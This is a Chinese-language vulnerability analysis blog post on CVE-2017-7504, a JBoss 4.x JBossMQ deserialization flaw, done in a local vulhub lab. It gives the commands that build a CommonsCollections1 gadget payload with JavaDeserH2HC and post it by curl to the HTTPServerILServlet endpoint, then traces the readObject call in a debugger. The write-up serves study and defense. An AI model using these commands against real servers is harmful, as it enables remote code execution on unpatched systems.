CVE-2017-7504 Jboss反序列化浅析

robots

 

一、原理

(一)概述

在JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列。

class位置为org.jboss.mq.il.http.servlet.HTTPServerILServlet(jboss4/server/default/deploy/jms/jbossmq-httpil.sar/jbossmq-httpil.war/WEB-INF/classes/org/jboss/mq/il/http/servlet)

(二)CVE-2017-7504

项目 描述
编号 CVE-2017-7504
漏洞描述 HTTPServerILServlet.java在JMS上JbossMQ实现的HTTP调用层(默认情况下在Red Hat Jboss应用服务器<=Jboss 4.X中启用)不限制执行反序列化的类,允许远程攻击者通过精心设计的序列化数据执行任意代码。

 

二、调试

(一)环境搭建

Ubuntu18,使用vulhub/jboss/CVE-2017-7504,执行docker-compose up -d,访问8080端口即可。

接下来配置JBoss远程调试,可参考链接

打开$JBOSS_HOME/bin目录下的run.conf文件,找到:

将这一行修改为,

JAVA_OPTS="$JAVA_OPTS -Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n"

将docker restart,

即可成功。

(二)复现

使用JavaDeserH2HC工具

在JavaDeserH2HC目录下执行,

javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java

再执行,

java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "touch /tmp/success"

最后执行下列命令发送payload,

curl http://xx.xx.xx.xx:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser --output -

可得如下结果,

发送完毕后,在docker中查看结果,

命令已成功执行,可见成功复现。

(三)调试

根据官方信息提示,将JBoss/jboss4/server/default/deploy/jms/jbossmq-httpil.sar/jbossmq-httpil.war/导入idea。

结合官方信息 HTTPServerILServlet.java does not restrict the classes for which it performs deserialization,

执行curl http://xx.28:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser --output -,发送payload。

在doPost中下断点,拦截到调用processRequest处,

此时查看request的buff的内容,可以看到正是我们构造的payload。

接下来跟进,进入到processRequest()函数,

可以看到,在经过一些不影响流程的操作之后,有值得我们关注的点,

此处,request.getInputStream得到输入流之后,直接readObject,

运行到此时,以字符串形式查看inputStream,可以看到其与发送的payload别无二致。

继续向下运行,即可触发RCE。

 

三、收获与启示

此漏洞原理简单,还是对用户的输入没有做合理的检查,不限制执行反序列化的类,导致恶意包可以顺利抵达反序列化的触发点,也就使远程攻击者通过使用序列化数据执行任意代码成为可能。

参考链接

https://gv7.me/articles/2018/CVE-2017-7504/

https://4hou.win/wordpress/?p=25516

https://www.debugger.wiki/article/html/1609732440358153

(完)